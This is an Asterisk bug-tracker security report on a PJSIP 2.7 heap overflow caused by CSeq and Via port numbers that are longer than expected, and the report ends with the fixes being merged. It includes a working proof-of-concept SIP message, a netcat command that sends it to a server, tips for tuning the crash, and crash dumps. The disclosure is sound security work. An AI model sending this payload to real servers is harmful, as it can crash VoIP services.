[Home]

Summary:ASTERISK-27319: (Security) Function in PJSIP 2.7 miscalculates the length of an unsigned long variable in 64bit machines
Reporter:Kim youngsung (dokydoky)Labels:pjsip
Date Opened:2017-10-06 00:56:39Date Closed:2017-11-08 09:53:02.000-0600
Priority:MajorRegression?
Status:Closed/CompleteComponents:
Versions:Frequency of
Occurrence
Related
Issues:
Environment:Attachments:( 0) gdb_crash.dump
( 1) heapoverflow.png
( 2) PJSIP_pool.png
( 3) poc_asterisk_small
Description:h3. +Test environment
Asterisk : asterisk-15-current (The latest)
PJSIP : pjproject 2.7 (2.6 also affected)
OS : CentOS 7.3
Kernel : Linux 3.10.0-514.26.2.el7.x86_64 #1 SMP Tue Jul 4 15:04:05 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

h3. +How to reproduce the issue
Send the attached PoC sip message to the server.
$ cat poc_asterisk_small | nc -u server_ip_addr 5060
{code}
OPTIONS sip:3 SIP/2.0
f: <sip:2>
t: <sip:1>
i: a
CSeq: 18446744073709551614 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
v: SIP/2.0/U 4:18446744073709551614

{code}
h3. +The root cause of the vulnerability
In the `create_tsx_key_2543` function, it assume that the length of `CSeq number` and `Via port` are 9 bytes respectively, but the maximum of unsigned long is 0xFFFFFFFFFFFFFFFF in 64bit machines and it becomes 20 bytes length in decimal(18446744073709551615).
This mistake could be found in many places in the PJSIP source code.
*Note that implicit casting occurs internally when you call pj_utoa (especially sign expansion occurs for negative integer).

h3. +Related Source Code
{code}
typedef struct pjsip_cseq_hdr
{
   PJSIP_DECL_HDR_MEMBER(struct pjsip_cseq_hdr);
   pj_int32_t    cseq; /**< CSeq number. */
   pjsip_method    method; /**< CSeq method. */
} pjsip_cseq_hdr;

typedef struct pjsip_via_hdr
{
...
   int     rport_param;   /**< "rport" parameter, 0 to specify without
port number, -1 means doesn't exist. */
...
} pjsip_via_hdr;

static pj_status_t create_tsx_key_2543( ... )
{
...
   /* Calculate length required. */
   len_required = method->name.slen +      /* Method */
                  9 +                      /* CSeq number */
                  ...
                  9 +                      /* Via port. */
                  16;                      /* Separator+Allowance. */
   key = p = (char*) pj_pool_alloc(pool, len_required);

...
   /* Add CSeq (only the number). */
   len = pj_utoa(rdata->msg_info.cseq->cseq, p); // struct pjsip_cseq_hdr
   p += len;
   *p++ = SEPARATOR;

...
   len = pj_utoa(rdata->msg_info.via->sent_by.port, p); // struct pjsip_via_hdr
   p += len;
   *p++ = SEPARATOR;

   *p++ = '\0';
...
   return PJ_SUCCESS;
}

PJ_DEF(int) pj_utoa(unsigned long val, char *buf)
{
// Type casting from int to unsigned long
// Negative integers are changed to large unsigned longs.
// On a 64 bit machine, it is 16 bytes in size.
// Max unsigned long = 0xFFFFFFFFFFFFFFFF = 18446744073709551615

   return pj_utoa_pad(val, buf, 0, 0);
}

PJ_DEF(int) pj_utoa_pad( unsigned long val, char *buf, int min_dig, int pad)
{
   char *p;
   int len;

   PJ_CHECK_STACK();

   p = buf;
   do {
       unsigned long digval = (unsigned long) (val % 10);
       val /= 10;
       *p++ = (char) (digval + '0');
   } while (val > 0);

   len = (int)(p-buf);
   while (len < min_dig) {
       *p++ = (char)pad;
       ++len;
   }
   *p-- = '\0';

   do {
       char temp = *p;
       *p = *buf;
       *buf = temp;
       --p;
       ++buf;
   } while (buf < p);

   return len;
}
{code}

h3. +Suggested solution
1. Add length check logic in pj_utoa_pad functoin's while loop by passing the allowed length to pj_utoa and pj_utoa_pad.
2. Change the type of `cseq` and `port number` from signed integer to unsigned integer.
Comments:By: Asterisk Team (asteriskteam) 2017-10-06 00:56:40.609-0500

Thanks for creating a report! The issue has entered the triage process. That means the issue will wait in this status until a Bug Marshal has an opportunity to review the issue. Once the issue has been reviewed you will receive comments regarding the next steps towards resolution.

A good first step is for you to review the [Asterisk Issue Guidelines|https://wiki.asterisk.org/wiki/display/AST/Asterisk+Issue+Guidelines] if you haven't already. The guidelines detail what is expected from an Asterisk issue report.

Then, if you are submitting a patch, please review the [Patch Contribution Process|https://wiki.asterisk.org/wiki/display/AST/Patch+Contribution+Process].
By: Rusty Newton (rnewton) 2017-10-06 08:12:46.272-0500

Kim, the issue visibility is now restricted. You may fill out the description field of the issue. Remember to [follow the guidelines|https://wiki.asterisk.org/wiki/display/AST/Asterisk+Issue+Guidelines].


By: Kim youngsung (dokydoky) 2017-10-06 16:49:17.276-0500

PoC(Proof of Concept) for Denial of service and crash dump
By: Kim youngsung (dokydoky) 2017-10-06 17:10:57.759-0500

Since PJSIP uses a separate heap structure, it may not crash depending on the environment, after being overflowed.
However, by chaning the method character in the CSeq header, you can adjust the amount of memory allocated, so an attack is always possible.

The conditions under which a crash occurs are:

- The end of the buffer allocated by p must be less than 6 bytes of the PJSIP block boundary.  p = (char*) pj_pool_alloc(pool, len_required)
 (boundary-6 <= p + len_required <= boundary)

!PJSIP_pool.png|thumbnail!
By: Kim youngsung (dokydoky) 2017-10-06 17:18:04.487-0500

h3. +Debug stack output of PJSIP 2.7 compiled with AddressSanitizer
{code}
=================================================================
==35474==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x625000002040 at pc 0x0000006354cf bp 0x7f66448fd650 sp 0x7f66448fd648
WRITE of size 1 at 0x625000002040 thread T1
   #0 0x6354ce in pj_utoa_pad /home1/pjproject-2.7_asan/pjlib/build/../src/pj/string.c:339:14
   #1 0x6354ce in pj_utoa /home1/pjproject-2.7_asan/pjlib/build/../src/pj/string.c:325
   #2 0x5b0081 in create_tsx_key_2543 /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transaction.c:338:11
   #3 0x5b0081 in pjsip_tsx_create_key /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transaction.c:419
   #4 0x5b6a99 in mod_tsx_layer_on_rx_request /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transaction.c:802:5
   #5 0x57ce5e in pjsip_endpt_process_rx_data /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_endpoint.c:887:13
   #6 0x57b515 in endpt_on_rx_msg /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_endpoint.c:1037:5
   #7 0x5936bd in pjsip_tpmgr_receive_packet /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport.c
   #8 0x599b15 in udp_on_read_complete /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport_udp.c:171:3
   #9 0x604c40 in ioqueue_dispatch_read_event /home1/pjproject-2.7_asan/pjlib/build/../src/pj/ioqueue_common_abs.c:605:6
   #10 0x60b0a9 in pj_ioqueue_poll /home1/pjproject-2.7_asan/pjlib/build/../src/pj/ioqueue_select.c:994:7
   #11 0x57c601 in pjsip_endpt_handle_events2 /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_endpoint.c:742:6
   #12 0x529e84 in worker_proc /home1/pjproject-2.7_asan/pjsip-apps/build/../src/samples/sipecho.c:167:2
   #13 0x60d5c0 in thread_main /home1/pjproject-2.7_asan/pjlib/build/../src/pj/os_core_unix.c:541:27
   #14 0x7f6648e14dc4 in start_thread (/lib64/libpthread.so.0+0x7dc4)
   #15 0x7f664843176c in __clone (/lib64/libc.so.6+0xf776c)

0x625000002040 is located 0 bytes to the right of 8000-byte region [0x625000000100,0x625000002040)
allocated by thread T0 here:
   #0 0x4f42e6 in __interceptor_malloc /home1/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:67
   #1 0x63a50e in default_block_alloc /home1/pjproject-2.7_asan/pjlib/build/../src/pj/pool_policy_malloc.c:46:9
   #2 0x623f08 in pj_pool_create_block /home1/pjproject-2.7_asan/pjlib/build/../src/pj/pool.c:61:2
   #3 0x623f08 in pj_pool_allocate_find /home1/pjproject-2.7_asan/pjlib/build/../src/pj/pool.c:138
   #4 0x624277 in pj_pool_alloc /home1/pjproject-2.7_asan/pjlib/build/../include/pj/pool_i.h:62:8
   #5 0x624277 in pj_pool_calloc /home1/pjproject-2.7_asan/pjlib/build/../include/pj/pool_i.h:69
   #6 0x595dc7 in pj_pool_zalloc /home1/pjproject-2.7_asan/pjsip/build/../../pjlib/include/pj/pool.h:485:12
   #7 0x595dc7 in init_rdata /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport_udp.c:98
   #8 0x595dc7 in transport_attach /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport_udp.c:830
   #9 0x59697d in pjsip_udp_transport_attach2 /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport_udp.c:879:12
   #10 0x59697d in pjsip_udp_transport_start2 /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport_udp.c:953
   #11 0x59737b in pjsip_udp_transport_start /home1/pjproject-2.7_asan/pjsip/build/../src/pjsip/sip_transport_udp.c:978:12
   #12 0x52881c in init_stack /home1/pjproject-2.7_asan/pjsip-apps/build/../src/samples/sipecho.c:259:15
   #13 0x52881c in main /home1/pjproject-2.7_asan/pjsip-apps/build/../src/samples/sipecho.c:607
   #14 0x7f664835bb34 in __libc_start_main (/lib64/libc.so.6+0x21b34)

Thread T1 created by T0 here:
   #0 0x436531 in pthread_create /home1/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:198
   #1 0x60d174 in pj_thread_create /home1/pjproject-2.7_asan/pjlib/build/../src/pj/os_core_unix.c:634:10
   #2 0x528ab3 in init_stack /home1/pjproject-2.7_asan/pjsip-apps/build/../src/samples/sipecho.c:289:14
   #3 0x528ab3 in main /home1/pjproject-2.7_asan/pjsip-apps/build/../src/samples/sipecho.c:607
   #4 0x7f664835bb34 in __libc_start_main (/lib64/libc.so.6+0x21b34)
{code}
By: Kim youngsung (dokydoky) 2017-10-06 17:21:40.054-0500

h3. +GDB Debugging Information
{code}
Breakpoint 1, create_tsx_key_2543 (..) at ../src/pjsip/sip_transaction.c:298
298         key = p = (char*) pj_pool_alloc(pool, len_required);
(gdb) p len_required
$30 = 756
(gdb) p *pool->block_list->next
$31 = {prev = 0x7fff90000be0, next = 0x7fff90000c10, buf = 0x7fff400008e8 "\220\v", cur = 0x7fff40009268 "", end = 0x7fff40009560 ""}
(gdb) p *pool->block_list->next->next
$32 = {prev = 0x7fff400008c0, next = 0x7fff90000be0, buf = 0x7fff90000c38 "(3#\001", cur = 0x7fff90000c38 "(3#\001", end = 0x7fff90001b90 ""}
(gdb) p pool->block_list->next->end - pool->block_list->next->cur
$34 = 760


(gdb) x/100gx 0x7fff40009268
0x7fff40009268: 0x0000000000000000      0x0000000000000000
0x7fff40009278: 0x0000000000000000      0x0000000000000000
...
0x7fff40009558: 0x0000000000000000      0x0000000000000000
0x7fff40009568: 0x0000000000000035      0x00007ffff18934c0
0x7fff40009578: 0x00007fff400008e8      0x0000000000000000

(After overflow)
(gdb) x/100gx 0x7fff40009268
0x7fff40009268: 0x4141414141412473      0x4141414141414141
0x7fff40009278: 0x4141414141414141      0x4141414141414141
...
0x7fff40009528: 0x4141414141414141      0x4141414141414141
0x7fff40009538: 0x3634343831244141      0x3037333730343437
0x7fff40009548: 0x2434313631353539      0x3438313a34246124
0x7fff40009558: 0x3337303434373634      0x3136313535393037
0x7fff40009568: 0x0000000000002434      0x00007ffff18934c0
0x7fff40009578: 0x00007fff400008e8      0x0000000000000000
{code}
!heapoverflow.png|thumbnail!
By: George Joseph (gjoseph) 2017-10-09 12:02:18.918-0500

I can reproduce now even with bundled pjproject.

By: Corey Farrell (coreyfarrell) 2017-10-09 12:05:30.441-0500

I assume this is an issue with 64bit *builds* only?  In other words if someone installed a 32bit build Asterisk/pjproject on a 64bit machine, this issue would not apply?
By: Kim youngsung (dokydoky) 2017-10-09 12:15:29.435-0500

The point is the size of `unsigned long`.
If the size of unsigned long is 4byte when 32bit build is done on 64bit machine, there is no problem, but if it is 8byte, it is a problem.
By: Friendly Automation (friendly-automation) 2017-11-08 09:53:03.350-0600

Change 7117 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7117|https://gerrit.asterisk.org/7117]
By: Friendly Automation (friendly-automation) 2017-11-08 09:53:12.410-0600

Change 7116 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7116|https://gerrit.asterisk.org/7116]
By: Friendly Automation (friendly-automation) 2017-11-08 09:53:20.323-0600

Change 7119 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7119|https://gerrit.asterisk.org/7119]
By: Friendly Automation (friendly-automation) 2017-11-08 09:53:27.944-0600

Change 7122 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7122|https://gerrit.asterisk.org/7122]
By: Friendly Automation (friendly-automation) 2017-11-08 09:53:37.244-0600

Change 7124 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7124|https://gerrit.asterisk.org/7124]
By: Friendly Automation (friendly-automation) 2017-11-08 09:53:46.557-0600

Change 7120 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7120|https://gerrit.asterisk.org/7120]
By: Friendly Automation (friendly-automation) 2017-11-08 09:54:00.607-0600

Change 7123 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7123|https://gerrit.asterisk.org/7123]
By: Friendly Automation (friendly-automation) 2017-11-08 09:54:09.522-0600

Change 7118 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7118|https://gerrit.asterisk.org/7118]
By: Friendly Automation (friendly-automation) 2017-11-08 09:54:13.893-0600

Change 7121 merged by George Joseph:
AST-2017-009: pjproject: Add validation of numeric header values

[https://gerrit.asterisk.org/7121|https://gerrit.asterisk.org/7121]